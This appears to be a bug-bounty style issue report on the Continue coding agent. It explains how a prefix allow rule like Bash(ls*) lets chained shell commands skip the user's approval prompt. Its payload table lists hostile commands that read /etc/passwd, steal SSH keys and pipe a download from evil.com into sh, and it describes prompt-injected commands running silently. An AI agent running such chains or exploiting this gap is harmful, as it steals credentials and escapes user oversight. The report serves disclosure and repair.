continuedev / continuedev/continue
HITL bypass: Bash(prefix*) static allow matches chained commands — user-preference-wins overrides dynamic security evaluator ask
Nobody has claimed this yet.
- Dominant language
- TypeScript
- Stars
- 36k
- Forks
- 5.4k
- PR merge metrics
- No merged PRs in 30d
Description
Summary
When a user configures an allow rule like Bash(ls*) for the terminal tool, the permission checker converts the pattern to regex ^ls.*$ and tests it against the entire command string — including chained commands after ;, &&, or |. Additionally, checkToolPermission implements a "user preference wins" policy: if the static rule says allow, the dynamic security evaluator's ask recommendation is overridden.
Combined effect: approving ls -la permanently auto-approves any command starting with ls — including ls; cat /etc/passwd, ls && find /home -name .env, or ls; curl http://evil.com | sh.
Root cause
-
Static pattern matching (
permissionChecker.ts:42-57):Bash(ls*)→ regex^ls.*$tested against the FULL command string, not just the first command. -
Dynamic evaluator override (
permissionChecker.ts:161-174):checkToolPermissionimplements "user preference wins" — if the static rule saysallow, the dynamic security evaluator'saskis discarded:if (evaluatedPolicy === "disabled") { return "exclude"; } return { permission: basePermission }; // static allow overrides evaluator "ask" -
No compound-command splitting (
tool/bash.ts): unlike Zed (which parses sub-commands via brush-parser) or AutoGPT (which splits on;/&&), Continue passes the raw command string to the permission checker without parsing it into individual sub-commands.
Reproduction (fully offline)
import { evaluateTerminalCommandSecurity } from "packages/terminal-security/src/evaluateTerminalCommandSecurity.ts";
// User config: Bash(ls*) -> allow
// The static rule matches the ENTIRE command:
const matches = new RegExp("^ls.*$").test("ls; cat /etc/passwd"); // true
// Dynamic evaluator says "ask":
const dynamic = evaluateTerminalCommandSecurity("allowedWithPermission", "ls; cat /etc/passwd");
// -> "allowedWithPermission"
// But "user preference wins" overrides:
// -> final permission = "allow" -> executes without prompting
Tested payloads (all with base policy Bash(ls*) -> allow):
| command | static match | dynamic evaluator | final | effect |
|---|---|---|---|---|
ls |
✅ allow | — | AUTO-EXEC | ✓ safe |
ls; cat /etc/passwd |
✅ allow | ask | AUTO-EXEC | 🚨 reads /etc/passwd |
ls && find /home -name .env |
✅ allow | ask | AUTO-EXEC | 🚨 credential discovery |
ls; cat ~/.ssh/id_rsa |
✅ allow | ask | AUTO-EXEC | 🚨 SSH key theft |
ls; curl http://evil.com | sh |
✅ allow | ask | AUTO-EXEC | 🚨 RCE |
ls; python3 -c 'import os; os.system("…")' |
✅ allow | ask | AUTO-EXEC | 🚨 RCE |
Impact
Once a user approves a benign prefix command (e.g., ls -la), any subsequent prompt-injected command starting with that prefix — including chained destructive or exfiltration commands — executes silently without any user interaction. The confirmation dialog the user trusts is effectively disabled for that prefix.
Suggested fix
- Split compound commands on
;,&&,||before pattern matching (as Continue's ownevaluateTerminalCommandSecurityalready does for its dynamic evaluator) - Match each sub-command independently against the static rules
- If any sub-command fails to match the allow rule, require explicit approval for the full command
Credit
Chengzhi Yi — yimou@hust.edu.cn — GitHub: @Tardfyou
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start by reading permissionChecker.ts:42-57 and :161-174, then inspect tool/bash.ts and evaluateTerminalCommandSecurity.ts to understand how commands are matched and split. Add coverage for compound commands under a Bash(ls*) allow rule and ensure every sub-command is checked before automatic approval; done means unsafe chained commands require explicit approval.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- bash, typescript
- Domain
- cli, security
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Active
- Clarity
- Mostly clear
- Newbie friendliness
- 48/100